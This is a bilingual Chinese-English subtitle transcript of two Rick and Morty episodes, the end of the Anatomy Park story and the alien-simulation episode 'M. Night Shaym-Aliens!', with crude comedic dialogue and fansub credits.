Come on!滚开
Get off!看啊
You guys!要炸了 快跑
It's gonna burst! Go! Go, go, go!我的脚卡住了
My foot is stuck.不
No!没事的 你们走
It's okay! It's okay. Just go.告诉我的家人我爱他们
Tell my family I love them.他们不太好找 因为我老婆留着娘家姓
They may be hard to find'cause my wife kept her last name孩子也随她姓
and she made the kids take it, too,我也没啥法子 不然你们...
So, I-I don't know, you can不
No!我问你一个问题 Ethan
Let me ask you a question, Ethan.你的愤怒从何而来
Where's the anger coming from, man?Summer是个贱人
From Summer being a total bitch!你到底在气什么
Where's the anger coming from?我哥哥 有一次带我去钓鱼 然后在树丛里
My brother... took me fishing once... in the bushes...不行 我不行
I can't... I can't...他像对女孩子那样
He made me feel like a girl!他让我成了一个女孩
I...he made me a girl!他没有改变你
He didn't make you anything, man.你就是你
You are who you are.她就是她
She is who she is.去她那里吧 带着崭新的自己
Now, you go to her... brand-new.过来
Come here, right now.天啊 我很抱歉 Ethan
Oh, my god. I'm so sorry, Ethan!我爱你
I love you!我也很爱你
I love you so much.你又做到了 亲爱的
You did it again, cubbie.来
Come here.停下 我讨厌这样
No! Stop! I hate this!圣诞节可不在乎你讨厌什么 儿子
Well, Christmas doesn't revolve around what you hate, son.那我讨厌圣诞节
Well, then I hate Christmas!去你的人情味儿 你们真是又逊又恶心
Enjoy being human! You guys are gross and lame.我叫Reuben Ridley
My name's Reuben Ridley.你们现在在我的身体里
You're inside me right now, but但在这趟旅途结束时
By the end of this journey...我会在你们所有人心里
I'll be inside all of you.我的故事始于九十年代互联网泡沫破裂时期
My story begins during the dot-com crash in the early '90s.你想把手指伸到哪里都可以哦
You can put your fingers wherever you want.Morty 你能调成静音吗
Morty, you want to put it on mute or something?我需要集中注意力
I'm I'm trying to concentrate.呃 Rick
Uh... Rick?别吵 Jerry
Not now, Jerry.我有件很"小"的"小"事要处理
I've got much, much smaller fish to fry.如果我之前说了你什么 我很抱歉
I wanted to say I'm sorry I ever judged you.你现在是我最正常的亲戚了
Right now, you're my sanest relative.亲戚(相对)
Relative.相对尺寸
R-relative size!Jerry 递一把手术刀和一捆炸药给我
Jerry, hand me a scalpel and a bundle of dynamite.Morty 你能去左乳头吗
Morty, can you get to the left nipple?你开玩笑吗 我还想两边都玩呢 Rick
Are you kidding? I'm hoping I can get to both of 'em, Rick.不 Morty 我说的是Reuben的左乳头
No, Morty, I'm talking about Reuben's left nipple.我们得去左乳头
We need to get to the left nipple!尸体开始腐烂了
The body is decaying.动脉运输系统已经没用了
The arterial transit system is useless.我们可以试试列车
We can try the service shuttle.是连在骨骼系统上的
It's connected to the skeletal system.所以叫做骨头列车
That's why we call it the bone train.小姐 你愿意乘坐骨头列车吗
Would you like to ride the bone train, miss?如果能让我们出去
If it'll get us out of here.你呢 Morty
How about you, Morty?你愿意搭乘骨头列车吗
Would you like to ride the bone train?别磨叽了
Why are you doing this bit?我们都要死了 快走
We're gonna die! Let's go!看来你挺忙的
Well... I can see you're busy.圣诞快乐 Rick
Merry christmas, Rick.没有自动驾驶装置
There's no autopilot.得有个人留在这儿手动操作
One of us will have to stay here and operate it manually.呃
Uh, well...不 你是对的
No, you're you're right.我真是个混蛋 竟然还犹豫
I-it was a dick move for me to even pause like that.这都是我的错
This is all my fault.你们上去吧
You go on.那是什么鬼东西
What the hell is that?大肠杆菌爆发
E. Coli outbreak.快上去
Hurry!等等 有自动驾驶装置啊
Wait, there is an autopilot.等等
Wait!算了 没事了
It's okay! Never mind!反正我本来就打算牺牲的
I wanted to sacrifice myself anyway!它们把门弄破了
They're they're chewing through the doors!我们到乳晕了 Rick 马上就到乳头
We're in the areola, Rick, almost to the nipple,但现在情况不是很乐观
But we're also in a really bad situation!马上就好 Morty
I'm almost there, Morty!全国各地发来报道
Reports from all over the country have been coming in一个巨大裸男出现在美国大陆上空
About what appears to be a giant, naked man over the continental united states.我们现在联线纽约的Tom Randolph Tom你好
We now go to Tom Randolph in New York.Tom?他的眼睛既不闪烁 他的酒窝也没有欢乐
Well, the eyes aren't twinkling and the dimples aren't merry,不过我头上这鼻子确实像个七十英里长的樱桃
but I'm standing under a nose like a 70-mile cherry.出自诗歌《A Visit from St. Nicholas》
"他的眼睛闪闪发光 他的酒窝充满欢乐 他的面颊如玫瑰 他的鼻子像樱桃"谢谢 Tom
Thank you, Tom.我们现在联线洛杉矶的Eric McMahan
Let's go now to Eric McMahan in Los Angeles.西海岸这边是巨大的脚 Bill
We've got feet here on the west coast, Bill,对于这种尺寸的巨人来说也是很大的脚了
giant feet, even relative to the giant man's size至于巨人是有多"大" 就不必我多说了
, and you know what they say about that.如果老话说的没错
Well, if the old adage is true,西方民间说法 脚大的人下面也大
洛基山那儿的"下面"就简直不敢想象了
one can only wonder what's going down in the rocky mountains.啥
Wha..?天啊 轨道
Oh my god, the track!是甲肝病毒
It's hepatitis A!乳腺孔
The nipple hole.好美
It's beautiful.哦不
Oh, no!哇 - 是丙肝病毒
Whoa! - It's hepatitis C!我们认识他吗
Um... wait, did we have some sort of relationship with him?可能他们人就这样吧
I think they're just like that?就是人好
I think they're just good guys.Bloom博士呢
Where's dr. Bloom?抱歉 Rick 他死了
I'm sorry, Rick, but he's dead.该死 Morty 我就要求你这么一件事
God damn it, Morty. I ask you to do one thing!Jerry都不知道他错过了什么
Jerry doesn't know what he's missing.他会想通的 Beth
He'll come around, Beth.圣诞是个特殊的日子
Christmas is a special time.能以意想不到的方式使家人欢聚
It has funny ways of bringing families together.我不知道 Jacob
I don't know, Jacob.Jerry今天本可以有点生气的 但他拒绝了
Jerry got an invitation to be alive today, and he rejected it.我不知道我们的婚姻是否还能...
I don't know if our marriage will...下血雨了
It's raining blood!该死 去找Jerry
Oh, shit. Find Jerry.Jerry
Jerry!没事的 电视上说不用担心
It's all right. The TV says there's nothing to worry about.巨大的浮空圣诞老人爆炸了
The giant, naked sky santa has exploded.血和脏器碎块正飘零而下
Blood and chunks of viscera are raining down on the country.不过应该没什么问题
Everything should be fine.太好了
Oh, yes.爸 能把手机还给我吗
Dad, can I have my phone back?当然可以 给
Sure, sweetie. Here.大家都拿件电子产品吧
Everybody, take a device.帮助放松身心
It'll help you relax.真好
This is nice.是啊
Yeah.我想这个圣诞我们都学到了什么 Jacob
Look, I guess we really learned something this christmas, Jacob.爸 没这回事
No, we didn't, dad.没这回事
No, we didn't.Bloom博士真是可惜
Too bad about Dr. Bloom.他是个天才 只有他能再造一个人体公园
He was a genius, the only man capable of creating a new anatomy park.其实 我研究过Bloom博士的成果
Actually, I studied Dr. Bloom's work.我觉得我能再造出一个全新的 也更安全的公园
I-I-I-I believe I have the knowledge necessary to create an entirely new, much safer park.那胰之海盗呢
What about... Pirates of the pancreas?我觉得那被严重低估了
I think it was one of the most underrated attractions.好极了 屏住呼吸
Boo-yah! Hold your breath.你干嘛 Rick
Hey, w-w-what the hell, Rick?!搞什么啊 我喜欢她
What the hell, man! I liked her!进展很不错啊 Rick
I really had something going there, Rick!我都听到了
Yeah, so I heard.你躲过了一劫 Morty 相信我
You dodged a bullet, Morty, trust me.她下面可肿了
Puffy vagina.这有什么
W-what's wrong with that?我不觉得这有什么问题啊
That doesn't sound like a problem to me.好吧 我不知道
I don't know.走 去找点吃的 我要饿死了
Come on, let's get some stuffing. I'm starving.真是难以置信
Oh, unbelievable.一群机器人 电脑族
We got we got a bunch of robot, computer people,坐在这儿 脸死命凑在屏幕上
sitting around with their faces stuffed into computer screens.你们知道今天是基督的生日吗
Do you guys realize that Christ was born today?耶稣基督 救世主 是在今天出生的
Jesus christ, our savior, was born today.你们还是人吗
Are are are you people even human?这算是什么圣诞
What kind of christmas is this?嘿 Rick
Hey, rick?Rick 能听见吗
Rick, can you hear me?非常清楚 Annie
Loud and clear, Annie.很好
Great.在这儿的还有Alejandro 首席构想官
We're also on with Alejandro, our chief imaginarian.嗨 Rick
Hey, Rick.显微市场部的Natalie Jacobs和Chris Deseter
Natalie Jacobs and Chris Deseter from microscopic marketing,器官概念部的Zack 以及新媒体部的Jamie
Zack from organ concepts, and Jamie from new media.大家好
Hey, everybody.那么 胰之海盗
So, pirates of the pancreas.没错 说吧
Yeah. Talk to me.嗨 Rick 我是Alejandro
Hey, Rick. It's Alejandro speaking.我们认真的反思了一下
Um, so, we asked ourselves, internally we asked ourselves over here,"胰 是做什么的"
"Okay, what does a pancreas do?"结论是"它产生海盗"吗
And the answer was, "Does it make pirates?"不 它产生的是胰岛素
No, it makes insulin, you know?所以我们打算开展一个新的...
So, we're starting with a new...那些人在我体内 是吗 在建公园啥的
Those guys are inside me, huh? Like, building a park?那些人在你体内建垃圾 Ethan
Those guys are inside you building a piece of shit, Ethan!他们建的是妥协让步的丰碑
They're inside you building a monument to compromise![哔]这群人 [哔]这整件事 Ehtan
Those people. This whole thing, Ethan.酷啊
Cool.那么 谁付我钱啊
And who pays me?E4 M. Night Shaym-Aliens!
- 翻译: 大岛优子一生推 Gaby
- 校对: 史努比史酷比
- 后期: 小萌
- 压制: 凯撒
这做工真是渣
T-t-t-this is just sloppy craftsmanship.嗨 Rick
Hey, Rick.看呀 今天天可真好呀 是吧
Boy, sure is really especially beautiful out there today, huh?没错 Morty
oh, yes, Morty.简直好得不可思议 是吧
I-it's almost unbelievable, Isn't it?是啊
Yeah, you know?空气格外清新
There's something about the air阳光分外明媚
And just the way the sunshine is.没错 伙计 没错
uh, sure, buddy. Yeah.当然 棒极了
Sure. B-brilliant.我简直都要信了
Very convincing.什么信了
Wha convincing?哇 还能实时应答啊 真棒
Oh. Responsive, too. In real time. I love it.好吧
Uhh...okay.我要去工作了
I'm going to work.Morty 早上好
Morty, good morning.爸 早上好
Dad, good morning.我要去工作了 再见
I am going to work. Goodbye.老妈怎么了
what's with mom?老妈怎么了
oh, what's with mom?你想说她举止很奇怪吗
So, you're saying that she's acting weird?搞得这么精细 小心点哟
How sophisticated. Careful, guys.别把中央处理器烧咯
You're gonna burn out the cpu with this one.算了 Rick
Okay, you know what, Rick?你今天也很奇怪
You'reacting weird, too.随你怎么说 所谓的"Morty"
whatever, quote-unquote "Morty."好吧
all right, well...那放学见了
I'll see you after school.哦 噢
Ow! Oof! Ugh!该死
Damn it!我没事 我没事
I'm all right. I'm okay.谁来说说五乘以九等于多少
All right, who can tell me what 5 x 9 is?Morty
Morty?我
uh, me?五乘以九等于多少
What is 5 x 9?等于
umm...you know, it's呃 至少四十吧
Uhh...at least 40.Morty 完全正确
Morty, that's exactly correct!五乘以九等于至少四十
5 x 9 is at least 40!上这儿来
Come up here.你真棒 Morty
Whoo! Way to go, Morty!同学们 这是我们最好的学生
Everybody, this is the best student.今天你来当老师
I want you to be the teacher today.教教我们 Morty
Teach us, Morty!有意思
Interesting.你们想让我教什么
W-w-w-what do you want me to teach you?怎么制造浓缩暗物质啊
How do you make concentrated dark matter?这是个好问题
Oh, that's a good question.浓缩什么
concentrated huh?浓缩暗物质
Concentrated dark matter加速级星际航行所需的燃料
The fuel for accelerated space travel.你知道要怎么制造吗
Now, do you know how to make it?呃
umm...说啊 Morty
Come on, Morty.你的外公不是个科学家吗
Isn't your grandpa, like, a Scientist?没错 但是 他和我说
oh, yeah, but, you know, he told me that我不可以随便告诉别人
I shouldn't go around spouting off about,他的科学研究之类的
you know, his science and stuff.你肯定看见过他制作浓缩暗物质很多次吧
I bet you've seen him make concentrated dark matter a lot.只要你告诉我们
You know, if you tell us,我就当你的女朋友
I'll be your girlfriend.是吗
Uh, y-you will?机会难得啊 Morty
Seems like a rare opportunity, Morty.Morty 快来
Morty, u-uh, come on.家里有急事
There's a family emergency.站住
Stop right there!如果他走了 我就挂了他这科
If he leaves, I'm giving him an "F."他不在乎
he doesn't care.噢 天
aw, man!Rick 我必须得回去
Rick, I have to go back!我觉得我就要结婚了
I think I was about to get married!喔
Ugh!和我一起洗澡 Morty
take a shower with me, Morty.什么
what?!听我说 Morty
listen to me, Morty.把衣服脱了过来洗澡
Get your clothes off and get in the shower right now.相信我 Morty
Y-y-y-you got to trust me, Morty.噢
ugh!我会挂科的 Rick
I'm gonna get an "F" In class, Rick.Morty 你没在上课
Morty, that's not class.他也不是你的老师
T-t-t-that wasn't your teacher.这也不是你的学校
This isn't your school.这个世界也不是我们的世界
This entire world is not the world.我们在一个外星飞船上的大型模拟舱里
We're inside a huge simulation chamber on an alien spaceship.等等
wait a minute.你在说什么
W-what are you talking about?都是假的
it's all fakeMorty 全都是
Morty, all of it.纳米级机器渲染 搞出来的假玩意儿 Morty
Nanobotic renderings, a bunch of crazy fake nonsense, Morty.只有在淋浴间我才能跟你说
I couldn't say so until we got in the shower.这里他们不会监视
They won't monitor us in here.监视我们吗 谁
Monitor us?! W-who?!宇宙骗子Z星人 Morty
Zigerion scammers, Morty星系里最雄心勃勃却最失败的诈骗集团
The galaxy's most ambitious, least successful con artists.幸运的是
You know, it's lucky for us他们没法直视裸体
They're also really uncomfortable with nudity.得了 Rick
Aw, come on, Rick.如果今天大家都不正常
If everyone's just gonna be insane today,至少我要和Jessica一起发疯
at least let me be insane with jessica.不行 Morty
I can't let you do that, Morty.还给我
Give it to me!不行
No!给我
You give it to me!给我 Rick
G-g-give it! No, Rick!天啦 长官
Oh, god, sir!他们还是裸着的
They're still naked!嗷
Ugh.每隔五昆顿检查一次
Well, check every five quintons等他们不裸了再通知我
And tell me when they're not.我觉得该让Kevin来盯着 长官
I think we should make kevin look, sir.什么 不
What?! No!你干嘛这么说
W-w-why would you even say that?长官 这边有情况
Uh, sir, we have a situation over here.要是监视器里有鸡鸡的话 那必须是有情况 Stu
If there's a wiener on that monitor, i swear to god, Stu...处理系统能耗大幅度增加
Something is drawing a lot of processing power.等下 难怪
Oh, wait. No wonder.模拟舱中还有另一个人类
There's another real human in the simulator.好了 Jerry 重大推销会
Okay, Jerry big pitch meeting.成败在此一举
Make-or-break time.你一定行的
You can do this.这是怎么回事
How did this happen?!绑架部在干嘛
Where's the abductions department?绑架部是按照定位部的指令行事的
Hey, man, abductions just follows the acquisition order.别想推给定位部
Don't put this on acquisitions!我们只定位没有被模拟的人
We only acquire humans that haven't been simulated!模拟部是不会模拟已经被绑架了的人的 所以
Well, simulations doesn't simulate anybody that's been abducted, so...哦 我明白了
Oh, I see! Oh, oh!谁都没错
It was no one's fault.好吧
Oh, okay.抱歉
I'm sorry.好了 没啥问题了
Well, then, problem solved.等等 不对
Oh, wait no.还是有另外一个人类在这里
There's still another human in here!他是谁
Who is he?Rick的女婿
Rick's son-in-law,Jerry Smith
Jerry Smith.到现在为止 他还没发现自己在模拟舱里
So far, he hasn't noticed he's in a simulation.将他所在区域的处理功能降到5%
Well, cap his sector at 5% processing,设置为自动模式
keep his settings on auto,晚点再来应付他
and we'll deal with him later.Rick Sanchez才是目标
Rick Sanchez is the target.放轻松
Got to relax.不过是个推销会
It's just a pitch.放轻松
Got to relax.这里是地球电台
This is earth radio.接下来是 人类音乐
And now, here's...human music.人类音乐 我喜欢
hmm. Human music. I like it.Rick
Rick!呜呃
uhp, uhp, uhp!Morty 别拿手挡着小弟弟
Morty, keep your hands off your Ding-dong!只有这样我们才能随便说话
It's the only way we can speak freely.看看周围 Morty
Look around you, Morty.你真以为这个世界是真的
Do you really think this world is real?这么多粗劣的细节你要多傻才会看不出来
You'd have to be an idiot not to notice all the sloppy details.看那人把面包夹在两个热狗中间
Look that guy's putting a bun between two hot dogs.我不知道 Rick
I don't know, Rick.我见过有人这么干的呀
I mean, I've seen people do that before.看看那个老太太
well, look at that old lady.拿狗链栓了个猫在散步
She's she's walking a cat on a leash.Spencer太太一直这样啊 Rick
uh, Mrs. Spencer does that all the time, Rick.别提Spencer太太行吗 Morty
look, I-I-I don't want To hear about mrs. Spencer, Morty!她就一白痴
She's an idiot!好吧 看那儿
All right, all right, there.这个如何 Morty
W-what about that, Morty?好吧 你赢了
Okay, okay, you got me on that one.真的吗 Morty
oh, really, Morty?你确定在现实生活中没见过这种的东西
Are you sure you haven't seen that somewhere in real life before?不 没有
no, no.我没见过
I haven't seen that.果酱饼怎么会住在烤面包机里呢
I mean, why would a pop tart want to live inside a toaster, Rick?那种地方对它们来说不是应该很恐怖吗
I mean, that would be, like, the scariest place for them to live.对吧
You know what I mean?你搞错重点了 Morty
you're missing the Point, Morty.他怎么会开个带轮子的小烤面包机呢
Why would he drive a smaller toaster with wheels?你的车会像你房子的缩小版吗
I mean, does your car look like a smaller version of your house?不会
No.那他们干嘛要这样啊
So, why are they doing this?他们想干嘛
W-what do they want?这不是明摆着的吗 Morty
well, that would be obvious to you, Morty,只要你留点心就会注意到了
If you'd been paying attention.美国总统在这儿
We got the president of the United States in here!我们急需10cc的浓缩暗物质 不然他就要死了
We need 10cc of concentrated dark matter, stat, or he'll die!浓缩暗物质
Concentrated dark matter?他们在教室里也问起了这个
They were asking about that in class.没错 那是 我发明的一种特殊燃料
yeah, it's a special fuel I invented可以让你用最快的速度穿行宇宙
to travel through space faster than anybody else.Z星人一直试图
These Zigerions are always trying骗取我的机密
to scam me out of my secrets,但这次 他们犯了个大错 Morty
But they made a big mistake this time, Morty.他们把你牵扯了进来
They dragged you into this.他们会付出代价的
Now they're gonna pay!那你要 我们该怎么做
what do you w-w-what are we gonna do?我们要比他们更奸诈 Morty
we'll scam the scammers, Morty.让他们付出一切
And we're gonna take them for everything they've got.美国的果农们
National apple farmers of America,欢迎来到我们的广告公司
welcome to our ad agency.我是Jerry Smith
I'm Jerry Smith.好吧
All right.让我们直奔广告展示
I'll just...get to the pitch.一个简单的问题 先生们
Um, simple question, gentlemen,什么是苹果
what are apples?不好意思
excuse me.什么是苹果
What are apples?苹果是食物
Apples are food.那么 我们何时需要食物呢
And...when do we need food?想吃东西的时候
When we're hungry.因此 我将新标语介绍给你们
With that, I give you your new slogan!想要苹果吗?
说点什么啊
Well, say something!你们喜欢吗
Do you like it?是的
Yes.真的
you do?是的
yes.所以 我成功了
so...I sold it?我把这个创意卖出去了
I sold the idea?是的
yes.天哪 谢谢
oh, my god! Thank you!谢谢 - 不用谢
Thank you. - You're welcome.嗨
hey!我刚刚卖出了我的第一个广告
I just sold my first pitch!慢着点
Slow down!不错哟
Lookin' good.干得好
My man!你好
hello.猜猜谁刚把苹果广告创意卖出去了
Guess who just sold the apples campaign.谁刚刚把苹果广告创意卖出去了
who just sold the Apples campaign?我
me!所以这不是抄袭"有牛奶吗"(著名广告标语)
I guess it wasn't a rip-off of "Got milk?" after all.某人是大错特错了啊
Guess someone was wrong.是的
yes.原谅你了 因为现在
well, all is forgiven, because right now,我已经像东海岸灯塔一样一柱擎天了
I've got an erection the size of an east coast lighthouse,我正要回家来和我美丽的老婆一起分享呢
And I'm coming home to share it with my beautiful wife.好的
okay.真的
Wait, really?是的
yes.太棒了
yes!10分钟后见
See you in 10 minutes!嘿
Hey!我就要去和我老婆做爱了
I'm going to make love to my wife!不错哟
Lookin' good.慢着点
Slow down!好样的
My man!天哪 Rick
aw, geez, Rick.这个计划真的好吗
I-I don't know if I like this plan, you know?人一多 我就总觉得好紧张
I mean, crowds, t-t-t-they have a tendency to make me really nervous.Morty 别怕
Morty, relax.外面只不过是堆二进制代码
It's just a bunch of 1s and 0s out there.没事的
You're gonna be fine.跟着我来就行
Just follow my lead.哟 DJ 节奏打起来
Yo, deejay, drop that beat.啊噢 Morty
Uh-oh, Morty.我们这么赞的说唱表演
This crowd looks too small这人也来的太少了
for one of our famous rap concerts.这我们还怎么表演我们的新歌
I don't think we can perform our new song,"浓缩暗物质配方"
"The recipe for Concentrated dark matter,"就这么点人
for a crowd this tiny.你说的对 Rick
you got that right, Rick.这还差不多
now that's more like it!Morty 走着
Morty, here we go.每个人都说"嘿哟"
Let me hear everybody say "Hey-oh!" Yeah!所有女士请说"耶"
All the ladies say, "Yeah!"所有超过30岁的人 用你们的手做这个动作
Everybody over 30, do this with your hands!所有穿红衣服的人
Everybody with a red shirt,上下蹦
jump up and down!嗯嗯嗯
mm. Mm. Mm.就这样 别动
Yeah, don't move.嗯 嗯 唔嗯
Mm, mm, mm, mm!嗯
Mm!名字以"L"开头的非西班牙裔
name begins with an "L" who isn't hispanic,绕圈子 圈数等于你们的年龄平方根的十倍
walk in a circle the same number of times as the square root of your age times 10!快跑 Morty
Run, Morty!趁着系统还没重启
Before the system reboots!耶 喜欢这样么
yeah! You like that?现在知道我的厉害了吧
Now who's unremarkable?你想要苹果吗
You hungry for apples?你 想要 苹果吗
Are you hungry...for...apples?!哦 天哪
Oh, my god.这是我有生以来最棒的一场爱爱了
That's the best sex I've ever had in my life.这 这也太棒了
It's...it's...too good.我配不上这个 Beth
I don't deserve this, Beth.我是个骗子
I'm a fraud.天 Rick
oh, man, Rick!我们要跑哪儿去
W-w-w-where we running to?跑出模拟舱 Morty
Out of the simulation, Morty.通常来讲 模拟舱的运行类似跑步机
Normally, the chamber operates like a treadmill,随着我们的移动 身后的虚拟世界会不断消失
with the virtual world disappearing新渲染的空间会出现在我们眼前
behind us and being rendered in front of us as we move through it,但如果它当机了 Morty
but while it's frozen, Morty,我们就可以到达边界了
we can get to The edge.快来吧
Here we go.我的天啊
holy crap!快点 Morty
come on, Morty.长官 他们穿过边界了
Sir, they're over the edge.没错
Yes, they are.正如 计划 所料
Just...as...planned.咱这心理操纵(mindfuck)玩得妙啊
Oh, this is going to be such a mind [beep].到了中控室好好盯着点 Morty
keep your eyes peeled for the central processing room, Morty.看看我们怎么耍这群傻子
That's how we're gonna scam these idiots.嘿 Rick 如果你比这群外星人聪明那么多
so, hey, why do these aliens keep coming after you,为啥他们还一直追着你不放啊
Rick, if you're so much smarter than them?他们就是有这种执念
it's an obsession for them at this point.这么多年来
The zigerions have beenZ星人一直想证明他们比我聪明 Morty
trying to outsmart me for years, Morty.每次我都比他们棋高一着
Every time they do, I'm one step ahead of them.啊哈
Aha!到了
Here we go.中央处理器→
←逃生舱
能拿多少处理器就拿多少 Morty
Grab as many processors as you Can carry, Morty.这群人没什么本事
These guys aren't good at much,做芯片倒是有一套
But they're reallygood at making these chips.我抓太多啦 都快拿不了啦
I've got so many, I can barely hold them all.看呐 看我
Look at-look at this.哎呀 掉了一个
Oops. I dropped one.别担心 Morty
don't worry about it, Morty.这玩意儿有的是 小笨蛋
There's plenty of them, you little goofball.过来 Morty 噢 抓到你啦
Come here, Morty! Oh, I gotcha!行啦 别闹啦 Rick
come on, quit it, Rick!别闹啦
Quit it!小家伙 时不时闹一下没啥错的
nothing wrong with just a little bit of horseplay every now and then, little fella.哇哦 真没想到 居然这么容易
wow. What do you know? Huh. That was easy.完全没错
totes malotes, dawg.都有点不敢相信了
just kind of hard to believe, you know?没啥不信的 Morty
believe it, Morty.我又把能拿的全拿走然后远走高飞啦
And once again, I'm flying away with everything I can carry,Z星人从我这儿什么都没搞到
and the Zigerions got nothing of mine.Marklevitz先生 能和您谈谈吗
Mr. Marklevitz, do you have a Minute to talk?好啊
yes.我是个骗子
look, I'm a fraud.我们面对事实吧
I mean, let's face it"想要苹果吗"是我抄的"有牛奶吗"
"Hungry for apples" Is just a rip-off of "Got milk?"简直如出一辙
It's almost identical.是的
yes.好吧
okay.我活该
I deserve that.我这就去卷铺盖卷
Umm...I guess...i'll just pack up my desk.好的
yes.噢 天哪
oh, my god.等会儿 不对
Wait. You know what?! No!编牛奶广告的那群人又没为简单反问句申请专利
The milk people don't have a patent on simple rhetorical questions!"想吃苹果吗"和"有牛奶吧" 没一个字是一样的
There's not even a single word in "Hungry for apples" That's Shared by "Got milk?"我写的是一个完全不同的广告语
It's a completely different slogan.完全不同
It's different!我不该走人
And I shouldn't be fired.我该升职
I should be promoted!是的
yes.耶
yeah!等等 真的吗
Wait. Really?是的
Yes!棒
yes!虽然这条广告语是衍生出来的
I mean, I'm it may be derivative,但这是公司这么久以来
but it's the most successful最成功的一条广告语
campaign to come out of the agency in a long time.是的
yes.我倒不是说我该得个什么广告奖
i-I'm not saying it should win an award for commercials,但完全可以有个专门颁给苹果广告的奖项的提名啊
but it could certainly be nominated for an award for commercials specifically about apples,比如说 苹苹奖之类的
Like...an appley or something.是的
yes.真有和苹果品牌广告有关的奖项叫苹苹奖吗
is there really an award called the appley for apple-related ad campaigns?是的
yes.能提名我吗
could we nominate me?是的
yes.超赞啊
holy crap!进来 Morty
get in, Morty.我可以用这些处理器
I'm gonna be able to use these processors搞点真正重大的科学发明
to make some real important science stuff.哈 我应该输对了啊
Huh. I thought I entered the code right.哇 这是什么啊
Wha well, what's this?这是怎么回事
W-what could this possibly be?因为看起来你们在模拟舱
Because it looks like you're inside a simulation...里面的另一个模拟舱里
Inside a simulation.你们还在我们的飞船上
You're still on the ship.美梦破灭
Game-day bucket go boom.出自一个肯德基广告
长官 呃
Sir, the, uh,您和医生之前预约的
doctor's appointment to examine检查您肛门瓣的变色情况
the discoloration on your butthole flaps was声音太大了 Cynthia
Too loud, Cynthia.而且你说的太具体了
Too loud and too specific.呃
uhh...我们早就知道
We've known how to make怎么制造浓缩暗物质了
concentrated dark matter for a long time.不过现在嘛 我们 还知道了
But now we also know你传说中的保险箱密码 Rick Sanchez
the code to your fabled safe, Rick Sanchez!你所有最珍贵的秘密
All your most valuable secrets马上就是我们的了
will now be ours!是吗 我会在你们之前赶到家
uh, yeah, until I get home before you然后把密码改了
and change the combination,蠢货
you bunch of Idiots!所以你永远也回不了家了
That is why you're never getting home.给我抓起来
Get them!快跑 Morty
Run, Morty!噢老天啊
oh, my god!关闭重力开关
啊
Ow!开启重力开关
第七十五届
苹苹奖
不得不说 今天早上
I got to tell you, this morning,我都不知道还有这个奖
I didn't even know this award existed.现在我居然拿着奖杯
Now I'm holding one.呃
And...um...我想说
Look, I want to say that today今天是我一生中最美好的一天
was the best day of my life...但其实它的意义远高于此
But...the truth is, it's it's more meaningful than that.好样的
My man!谢谢您
yes. Thank you, sir.我的人生 终于 完整了
I...am...finally complete!好 好 好 好样的
My my my my man!啊啊
aah!搞什么
What the hell?!不要啊
No.Jerry - 爸
Jerry?! - Dad!你在这儿干啥呢
what are you doing Here?你怎么穿的像个服务生似的
W-why are you dressed like a Waiter?算了 没时间了 快跑
Screw it. We don't have time. Come on.不要啊
no!逃生舱
研发部
禁区
啊啊啊啊
ohhhhh!啊
aah!啊
Oof!有点儿男人样 Jerry
man up, Jerry!可能得要你来操作激光炮
I may need you to work the lasers.天啊 他们马上就要追上来了 Rick
Oh, man! They're hot on our tail, Rick!看来他们确实有浓缩暗物质
I guess they really do have concentrated dark matter.你也知道怎么制造的 对吧 Rick
well, you know how to make it, too, right, Rick?是的
yeah. Yeah, yeah, yeah.去轮机舱看看
Uh, check the engine room.我们需要铯 深成夸克
We just need cesium, plutonic quarks,还有一瓶水
and bottled water.齐了 Rick
it's all here, Rick!哇 Morty 运气太好了
wow, Morty. Lucky break.把那个桶拿过来
Grab that bucket.好 两份深成夸克
Okay, two parts plutonic quarks,一份铯
One part cesium.好的
okay. Uh-huh.好了
All right.现在把水全倒进桶里
Now empty the water bottle into the bucket再把混合物全倒进燃料箱
and pour it all into the fuel tank然后我们就能逃出去了
so we can get the hell out of here!你干啥呢 Morty
What are you doing, Morty?!没时间了
There's no time!噢 不是吧
oh, no.到底
what the不要啊
no!天哪 Rick
Oh, my god, Rick.你是有多蠢啊
How dumb are you?你是在模拟出的模拟舱
You're inside a simulation... of a simulation...模拟出的另一个模拟舱里
Inside another giant simulation!我们从来没有过浓缩暗物质的配方
W-we never had the recipe for concentrated dark matter.但是现在有了
But we do now!现在有了 蠢货
We do now, sucka!你们模拟了我外孙的生殖器
You simulated my grandson's genitalia?!你们这群畜生
Y-y-you bunch of diabolical sons of bitches!Kevin为了监管这项工程可是费了不少劲儿呢
Kevin fought real hard to supervise that project.说好了不告诉别人的
You said you weren't gonna tell anyone!这个梗我这辈子都摆脱不掉了是吗
I'm never gonna live this down, am I?好吧 好吧
all right. Okay.好吧 你厉害 你狠
All right, great. Wonderful.你赢了 我们现在能回家了不
You win. Can we go home now?我不知道 能吗
I don't know. Can you?哈 赞
Ha! Nice.好了 好了
Okay, okay.把这个好骗的傻瓜送上航天机
Show this gullible turd to his shuttle.没他什么事儿了
I'm done with him.噢 等下 拍张照
Oh, wait. Let me get a picture.哎哟 看他的表情
Aww. Look at his face.他还在琢磨自己是不是在模拟舱里呢
He's trying to figure out if he's in a simulation still.是吧 Rick
Are you, Rick?是吧
Are you?不是
You're not.还是说 是呢
Or are you?噢 还 还有
Oh, a-and, by the way,我的肛门瓣可没变色
I don't have discolored butthole flaps.那是模拟的一部分
That was part of the simulation.噢
Oh.呃 长官 那我是不是要取消预约
Uh, sir, should I cancel that appointment, then?对啊 当然取消
Yeah! Of course you should!不 留着
No, keep it.可以的话 提到上面去
Move it up, actually, if you can.嘿 Jerry 别担心嘛
Hey, Jerry, don't worry about it.就算你人生中最有意义的一天是 都是最低性能的模拟又怎么样呢
So what if the most meaningful day of your life was a simulation operating at minimum capacity?是吗 Rick 这些人也把你耍了
you know what, Rick? Those guys took you for a ride, too.你还是尊重一下宇宙里的蠢人吧
You should try having a little respect for the dummies of the universe,既然你也是其中之一
now that you're one of us.也许你说得对 Jerry
maybe you're right, Jerry.也许你说得对
Maybe you're right.好了大伙儿
All right, everybody.两份深成夸克
Two parts plutonic quarks...一份铯
One part cesium...还有 很抱歉之前对大家大吼大叫
A-and listen, I'm sorry for yelling earlier.你们是最棒的员工
I-I couldn't ask for a better Staff.我爱你们 我也爱你们的家人
I love you guys, and I love all your families.最后的原料
And the final ingredient...啊
whoa!搞什么啊
What the hell?!发生了什么
W-what happened back there?Jerry 不然你去问问全宇宙最聪明的人吧
why don't you ask the smartest people in the universe, Jerry?噢对 没法问了
Oh, yeah. You can't.他们都被炸飞了
They blew up.Gerry Rafferty《Baker Street》
那么
so...怎么样
What do you think?你被解雇了
You're fired.啥
